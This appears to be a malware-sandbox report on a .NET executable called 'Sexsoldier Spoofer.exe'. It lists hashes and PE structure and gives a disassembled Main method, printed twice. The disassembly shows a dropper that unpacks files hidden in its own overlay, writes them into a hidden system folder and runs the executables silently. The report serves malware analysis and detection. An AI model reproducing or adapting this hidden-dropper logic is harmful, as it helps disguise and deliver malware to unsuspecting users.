Suspicious
Suspect

3c00448296dda1d5ee7dfe97e11e85b7

Share on LinkedIn
Print
PE Executable
MD5: 3c00448296dda1d5ee7dfe97e11e85b7
Size: 6.07 MB
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Very low
MD5 3c00448296dda1d5ee7dfe97e11e85b7
Sha1 655b48f258f87d59b6da8602d0222ef706ff9c97
Sha256 0a4048ebe7a683ffef1cae2902477b713980fe4142ee703be02c7544ebbf66b4
Sha384 b3ebd6fa238346bfa1c1a21c6880eed1dc319a2e93aa8f80de8ff1db3d2c2d881d7f8313cb17ea2c2a7e453b43ada5d7
Sha512 0a1d0371d03c1139cf9048069c3ab55143e2b4e1ea307523c052f669dc359e8949b5f2c04e8e759ab49823030ba5cdf217ed8ded8b33cd16ced28af4ec486c8d
SSDeep 98304:BjPrYm4Nj4237cruKcJhYxeCX0CLa9ec+xKdOEykp8vUQvBcUnxV3RlprqL:BIXdV37MHcJhI0CLKecykp8vUiBHx1Rm
TLSH 6D56239177B2418CE21FBA7CC55A34015A3FB496C3A6E8E76649D12F79FB2844B7C302
PeID
.NET executableMASM/TASM - sig4 (h)Microsoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual C++ v6.0 DLLMicrosoft Visual Studio .NETUPolyX 0.3 -> delikon
3c00448296dda1d5ee7dfe97e11e85b7
Overlay_ff2eb7dd.bin
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
STICH beta

No STICH Path has been generated for this analysis yet.

2 structural branches were classified as secondary (decorative or non-determinant content) and did not produce a fingerprint.

bin 2
Name Value
Info
PE Detect: PeReader OK (file layout)
Module Name
Sexsoldier Spoofer.exe
Full Name
Sexsoldier Spoofer.exe
EntryPoint
System.Void SilentExecuter.Program::Main()
Scope Name
Sexsoldier Spoofer.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Sexsoldier Spoofer
Assembly Version
0.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
15
Main Method
System.Void SilentExecuter.Program::Main()
Main IL Instruction Count
273
Main IL 
call System.String SilentExecuter.Program::GetSystemHiddenDirectory()
stloc.0 <null>
ldloc.0 <null>
ldc.i4.s 22
call System.Boolean SilentExecuter.Program::SetFileAttributes(System.String,System.UInt32)
pop <null>
newobj System.Void System.Collections.Generic.List`1<System.String>::.ctor()
stloc.1 <null>
call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
callvirt System.String System.Reflection.Assembly::get_Location()
stloc.2 <null>
ldloc.2 <null>
ldc.i4.3 <null>
ldc.i4.1 <null>
newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode,System.IO.FileAccess)
stloc.3 <null>
ldloc.3 <null>
callvirt System.Int64 System.IO.Stream::get_Length()
stloc.s V_4
ldloc.3 <null>
ldc.i4.s -20
conv.i8 <null>
ldc.i4.2 <null>
callvirt System.Int64 System.IO.Stream::Seek(System.Int64,System.IO.SeekOrigin)
pop <null>
ldc.i4.s 20
newarr System.Byte
stloc.s V_5
ldloc.3 <null>
ldloc.s V_5
ldc.i4.0 <null>
ldc.i4.s 20
callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32)
pop <null>
ldc.i4.4 <null>
newarr System.Byte
dup <null>
ldtoken System.Int32 <PrivateImplementationDetails>{BA37C2E7-BB37-4F08-8A9C-87CA2635417D}::$$method0x6000002-1
call System.Void System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(System.Array,System.RuntimeFieldHandle)
stloc.s V_6
ldc.i4.1 <null>
stloc.s V_7
ldc.i4.0 <null>
stloc.s V_8
br.s IL_0086: ldloc.s V_8
ldloc.s V_5
ldc.i4.s 16
ldloc.s V_8
add <null>
ldelem.u1 <null>
ldloc.s V_6
ldloc.s V_8
ldelem.u1 <null>
beq.s IL_0080: ldloc.s V_8
ldc.i4.0 <null>
stloc.s V_7
br.s IL_008B: ldloc.s V_7
ldloc.s V_8
ldc.i4.1 <null>
add <null>
stloc.s V_8
ldloc.s V_8
ldc.i4.4 <null>
blt.s IL_006C: ldloc.s V_5
ldloc.s V_7
brtrue.s IL_0094: ldloc.s V_5
leave IL_0282: ret
ldloc.s V_5
ldc.i4.0 <null>
call System.Int64 System.BitConverter::ToInt64(System.Byte[],System.Int32)
stloc.s V_9
ldloc.s V_5
ldc.i4.8 <null>
call System.Int32 System.BitConverter::ToInt32(System.Byte[],System.Int32)
stloc.s V_10
ldloc.s V_9
ldc.i4.0 <null>
conv.i8 <null>
ble.s IL_00B8: leave IL_0282
ldloc.s V_9
ldloc.s V_4
ldc.i4.s 100
conv.i8 <null>
sub <null>
blt.s IL_00BD: ldloc.s V_10
leave IL_0282: ret
ldloc.s V_10
ldc.i4.0 <null>
ble.s IL_00CB: leave IL_0282
ldloc.s V_10
ldc.i4 200
ble.s IL_00D0: ldloc.3
leave IL_0282: ret
ldloc.3 <null>
ldloc.s V_9
ldc.i4.0 <null>
callvirt System.Int64 System.IO.Stream::Seek(System.Int64,System.IO.SeekOrigin)
pop <null>
ldloc.3 <null>
ldc.i4.4 <null>
conv.i8 <null>
ldc.i4.1 <null>
callvirt System.Int64 System.IO.Stream::Seek(System.Int64,System.IO.SeekOrigin)
pop <null>
ldc.i4.0 <null>
stloc.s V_11
br IL_0235: ldloc.s V_11
ldc.i4.4 <null>
newarr System.Byte
stloc.s V_12
ldloc.3 <null>
ldloc.s V_12
ldc.i4.0 <null>
ldc.i4.4 <null>
callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32)
pop <null>
ldloc.s V_12
ldc.i4.0 <null>
call System.Int32 System.BitConverter::ToInt32(System.Byte[],System.Int32)
stloc.s V_13
ldloc.s V_13
ldc.i4.0 <null>
ble IL_022F: ldloc.s V_11
ldloc.s V_13
ldc.i4 512
bgt IL_022F: ldloc.s V_11
ldloc.s V_13
newarr System.Byte
stloc.s V_14
ldloc.3 <null>
ldloc.s V_14
ldc.i4.0 <null>
ldloc.s V_13
callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32)
pop <null>
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldloc.s V_14
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
stloc.s V_15
ldc.i4.8 <null>
newarr System.Byte
stloc.s V_16
ldloc.3 <null>
ldloc.s V_16
ldc.i4.0 <null>
ldc.i4.8 <null>
callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32)
pop <null>
ldloc.s V_16
ldc.i4.0 <null>
call System.Int64 System.BitConverter::ToInt64(System.Byte[],System.Int32)
stloc.s V_17
ldloc.s V_17
ldc.i4.0 <null>
conv.i8 <null>
ble IL_022F: ldloc.s V_11
ldloc.s V_17
ldc.i4 -2147483648
conv.u8 <null>
bgt IL_022F: ldloc.s V_11
ldloc.0 <null>
ldloc.s V_15
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.s V_18
ldloc.s V_18
call System.String System.IO.Path::GetDirectoryName(System.String)
stloc.s V_19
ldloc.s V_19
call System.Boolean System.String::IsNullOrEmpty(System.String)
brtrue.s IL_01AA: ldloc.s V_18
ldloc.s V_19
call System.Boolean System.IO.Directory::Exists(System.String)
brtrue.s IL_01AA: ldloc.s V_18
ldloc.s V_19
call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String)
pop <null>
ldloc.s V_19
ldc.i4.s 22
call System.Boolean SilentExecuter.Program::SetFileAttributes(System.String,System.UInt32)
pop <null>
ldloc.s V_18
ldc.i4.2 <null>
ldc.i4.2 <null>
newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode,System.IO.FileAccess)
stloc.s V_20
ldc.i4 81920
newarr System.Byte
stloc.s V_21
ldloc.s V_17
stloc.s V_22
br.s IL_01FB: ldloc.s V_22
ldloc.s V_21
ldlen <null>
conv.i4 <null>
conv.i8 <null>
ldloc.s V_22
call System.Int64 System.Math::Min(System.Int64,System.Int64)
conv.i4 <null>
stloc.s V_23
ldloc.3 <null>
ldloc.s V_21
ldc.i4.0 <null>
ldloc.s V_23
callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32)
stloc.s V_24
ldloc.s V_24
brfalse.s IL_0201: leave.s IL_020F
ldloc.s V_20
ldloc.s V_21
ldc.i4.0 <null>
ldloc.s V_24
callvirt System.Void System.IO.Stream::Write(System.Byte[],System.Int32,System.Int32)
ldloc.s V_22
ldloc.s V_24
conv.i8 <null>
sub <null>
stloc.s V_22
ldloc.s V_22
ldc.i4.0 <null>
conv.i8 <null>
bgt.s IL_01C7: ldloc.s V_21
leave.s IL_020F: ldloc.s V_18
ldloc.s V_20
brfalse.s IL_020E: endfinally
ldloc.s V_20
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldloc.s V_18
ldc.i4.6 <null>
call System.Boolean SilentExecuter.Program::SetFileAttributes(System.String,System.UInt32)
pop <null>
ldloc.s V_15
ldstr .exe
ldc.i4.5 <null>
callvirt System.Boolean System.String::EndsWith(System.String,System.StringComparison)
brfalse.s IL_022F: ldloc.s V_11
ldloc.1 <null>
ldloc.s V_18
callvirt System.Void System.Collections.Generic.List`1<System.String>::Add(System.String)
ldloc.s V_11
ldc.i4.1 <null>
add <null>
stloc.s V_11
ldloc.s V_11
ldloc.s V_10
blt IL_00EC: ldc.i4.4
leave.s IL_024A: ldloc.1
ldloc.3 <null>
brfalse.s IL_0249: endfinally
ldloc.3 <null>
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldloc.1 <null>
callvirt System.Collections.Generic.List`1/Enumerator<System.String> System.Collections.Generic.List`1<System.String>::GetEnumerator()
stloc.s V_26
br.s IL_0264: ldloca.s V_26
ldloca.s V_26
call System.String System.Collections.Generic.List`1/Enumerator<System.String>::get_Current()
stloc.s V_25
ldloc.s V_25
call System.Void SilentExecuter.Program::RunHiddenProcess(System.String)
ldloca.s V_26
call System.Boolean System.Collections.Generic.List`1/Enumerator<System.String>::MoveNext()
brtrue.s IL_0254: ldloca.s V_26
leave.s IL_027D: leave.s IL_0282
ldloca.s V_26
constrained. System.Collections.Generic.List`1/Enumerator<System.String>
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
leave.s IL_0282: ret
pop <null>
leave.s IL_0282: ret
ret <null>
Info
Overlay extracted: Overlay_ff2eb7dd.bin (6065074 bytes)
Module Name
Sexsoldier Spoofer.exe
Full Name
Sexsoldier Spoofer.exe
EntryPoint
System.Void SilentExecuter.Program::Main()
Scope Name
Sexsoldier Spoofer.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Sexsoldier Spoofer
Assembly Version
0.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
15
Main Method
System.Void SilentExecuter.Program::Main()
Main IL Instruction Count
273
Main IL 
call System.String SilentExecuter.Program::GetSystemHiddenDirectory()
stloc.0 <null>
ldloc.0 <null>
ldc.i4.s 22
call System.Boolean SilentExecuter.Program::SetFileAttributes(System.String,System.UInt32)
pop <null>
newobj System.Void System.Collections.Generic.List`1<System.String>::.ctor()
stloc.1 <null>
call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly()
callvirt System.String System.Reflection.Assembly::get_Location()
stloc.2 <null>
ldloc.2 <null>
ldc.i4.3 <null>
ldc.i4.1 <null>
newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode,System.IO.FileAccess)
stloc.3 <null>
ldloc.3 <null>
callvirt System.Int64 System.IO.Stream::get_Length()
stloc.s V_4
ldloc.3 <null>
ldc.i4.s -20
conv.i8 <null>
ldc.i4.2 <null>
callvirt System.Int64 System.IO.Stream::Seek(System.Int64,System.IO.SeekOrigin)
pop <null>
ldc.i4.s 20
newarr System.Byte
stloc.s V_5
ldloc.3 <null>
ldloc.s V_5
ldc.i4.0 <null>
ldc.i4.s 20
callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32)
pop <null>
ldc.i4.4 <null>
newarr System.Byte
dup <null>
ldtoken System.Int32 <PrivateImplementationDetails>{BA37C2E7-BB37-4F08-8A9C-87CA2635417D}::$$method0x6000002-1
call System.Void System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(System.Array,System.RuntimeFieldHandle)
stloc.s V_6
ldc.i4.1 <null>
stloc.s V_7
ldc.i4.0 <null>
stloc.s V_8
br.s IL_0086: ldloc.s V_8
ldloc.s V_5
ldc.i4.s 16
ldloc.s V_8
add <null>
ldelem.u1 <null>
ldloc.s V_6
ldloc.s V_8
ldelem.u1 <null>
beq.s IL_0080: ldloc.s V_8
ldc.i4.0 <null>
stloc.s V_7
br.s IL_008B: ldloc.s V_7
ldloc.s V_8
ldc.i4.1 <null>
add <null>
stloc.s V_8
ldloc.s V_8
ldc.i4.4 <null>
blt.s IL_006C: ldloc.s V_5
ldloc.s V_7
brtrue.s IL_0094: ldloc.s V_5
leave IL_0282: ret
ldloc.s V_5
ldc.i4.0 <null>
call System.Int64 System.BitConverter::ToInt64(System.Byte[],System.Int32)
stloc.s V_9
ldloc.s V_5
ldc.i4.8 <null>
call System.Int32 System.BitConverter::ToInt32(System.Byte[],System.Int32)
stloc.s V_10
ldloc.s V_9
ldc.i4.0 <null>
conv.i8 <null>
ble.s IL_00B8: leave IL_0282
ldloc.s V_9
ldloc.s V_4
ldc.i4.s 100
conv.i8 <null>
sub <null>
blt.s IL_00BD: ldloc.s V_10
leave IL_0282: ret
ldloc.s V_10
ldc.i4.0 <null>
ble.s IL_00CB: leave IL_0282
ldloc.s V_10
ldc.i4 200
ble.s IL_00D0: ldloc.3
leave IL_0282: ret
ldloc.3 <null>
ldloc.s V_9
ldc.i4.0 <null>
callvirt System.Int64 System.IO.Stream::Seek(System.Int64,System.IO.SeekOrigin)
pop <null>
ldloc.3 <null>
ldc.i4.4 <null>
conv.i8 <null>
ldc.i4.1 <null>
callvirt System.Int64 System.IO.Stream::Seek(System.Int64,System.IO.SeekOrigin)
pop <null>
ldc.i4.0 <null>
stloc.s V_11
br IL_0235: ldloc.s V_11
ldc.i4.4 <null>
newarr System.Byte
stloc.s V_12
ldloc.3 <null>
ldloc.s V_12
ldc.i4.0 <null>
ldc.i4.4 <null>
callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32)
pop <null>
ldloc.s V_12
ldc.i4.0 <null>
call System.Int32 System.BitConverter::ToInt32(System.Byte[],System.Int32)
stloc.s V_13
ldloc.s V_13
ldc.i4.0 <null>
ble IL_022F: ldloc.s V_11
ldloc.s V_13
ldc.i4 512
bgt IL_022F: ldloc.s V_11
ldloc.s V_13
newarr System.Byte
stloc.s V_14
ldloc.3 <null>
ldloc.s V_14
ldc.i4.0 <null>
ldloc.s V_13
callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32)
pop <null>
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldloc.s V_14
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
stloc.s V_15
ldc.i4.8 <null>
newarr System.Byte
stloc.s V_16
ldloc.3 <null>
ldloc.s V_16
ldc.i4.0 <null>
ldc.i4.8 <null>
callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32)
pop <null>
ldloc.s V_16
ldc.i4.0 <null>
call System.Int64 System.BitConverter::ToInt64(System.Byte[],System.Int32)
stloc.s V_17
ldloc.s V_17
ldc.i4.0 <null>
conv.i8 <null>
ble IL_022F: ldloc.s V_11
ldloc.s V_17
ldc.i4 -2147483648
conv.u8 <null>
bgt IL_022F: ldloc.s V_11
ldloc.0 <null>
ldloc.s V_15
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.s V_18
ldloc.s V_18
call System.String System.IO.Path::GetDirectoryName(System.String)
stloc.s V_19
ldloc.s V_19
call System.Boolean System.String::IsNullOrEmpty(System.String)
brtrue.s IL_01AA: ldloc.s V_18
ldloc.s V_19
call System.Boolean System.IO.Directory::Exists(System.String)
brtrue.s IL_01AA: ldloc.s V_18
ldloc.s V_19
call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String)
pop <null>
ldloc.s V_19
ldc.i4.s 22
call System.Boolean SilentExecuter.Program::SetFileAttributes(System.String,System.UInt32)
pop <null>
ldloc.s V_18
ldc.i4.2 <null>
ldc.i4.2 <null>
newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode,System.IO.FileAccess)
stloc.s V_20
ldc.i4 81920
newarr System.Byte
stloc.s V_21
ldloc.s V_17
stloc.s V_22
br.s IL_01FB: ldloc.s V_22
ldloc.s V_21
ldlen <null>
conv.i4 <null>
conv.i8 <null>
ldloc.s V_22
call System.Int64 System.Math::Min(System.Int64,System.Int64)
conv.i4 <null>
stloc.s V_23
ldloc.3 <null>
ldloc.s V_21
ldc.i4.0 <null>
ldloc.s V_23
callvirt System.Int32 System.IO.Stream::Read(System.Byte[],System.Int32,System.Int32)
stloc.s V_24
ldloc.s V_24
brfalse.s IL_0201: leave.s IL_020F
ldloc.s V_20
ldloc.s V_21
ldc.i4.0 <null>
ldloc.s V_24
callvirt System.Void System.IO.Stream::Write(System.Byte[],System.Int32,System.Int32)
ldloc.s V_22
ldloc.s V_24
conv.i8 <null>
sub <null>
stloc.s V_22
ldloc.s V_22
ldc.i4.0 <null>
conv.i8 <null>
bgt.s IL_01C7: ldloc.s V_21
leave.s IL_020F: ldloc.s V_18
ldloc.s V_20
brfalse.s IL_020E: endfinally
ldloc.s V_20
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldloc.s V_18
ldc.i4.6 <null>
call System.Boolean SilentExecuter.Program::SetFileAttributes(System.String,System.UInt32)
pop <null>
ldloc.s V_15
ldstr .exe
ldc.i4.5 <null>
callvirt System.Boolean System.String::EndsWith(System.String,System.StringComparison)
brfalse.s IL_022F: ldloc.s V_11
ldloc.1 <null>
ldloc.s V_18
callvirt System.Void System.Collections.Generic.List`1<System.String>::Add(System.String)
ldloc.s V_11
ldc.i4.1 <null>
add <null>
stloc.s V_11
ldloc.s V_11
ldloc.s V_10
blt IL_00EC: ldc.i4.4
leave.s IL_024A: ldloc.1
ldloc.3 <null>
brfalse.s IL_0249: endfinally
ldloc.3 <null>
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
ldloc.1 <null>
callvirt System.Collections.Generic.List`1/Enumerator<System.String> System.Collections.Generic.List`1<System.String>::GetEnumerator()
stloc.s V_26
br.s IL_0264: ldloca.s V_26
ldloca.s V_26
call System.String System.Collections.Generic.List`1/Enumerator<System.String>::get_Current()
stloc.s V_25
ldloc.s V_25
call System.Void SilentExecuter.Program::RunHiddenProcess(System.String)
ldloca.s V_26
call System.Boolean System.Collections.Generic.List`1/Enumerator<System.String>::MoveNext()
brtrue.s IL_0254: ldloca.s V_26
leave.s IL_027D: leave.s IL_0282
ldloca.s V_26
constrained. System.Collections.Generic.List`1/Enumerator<System.String>
callvirt System.Void System.IDisposable::Dispose()
endfinally <null>
leave.s IL_0282: ret
pop <null>
leave.s IL_0282: ret
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙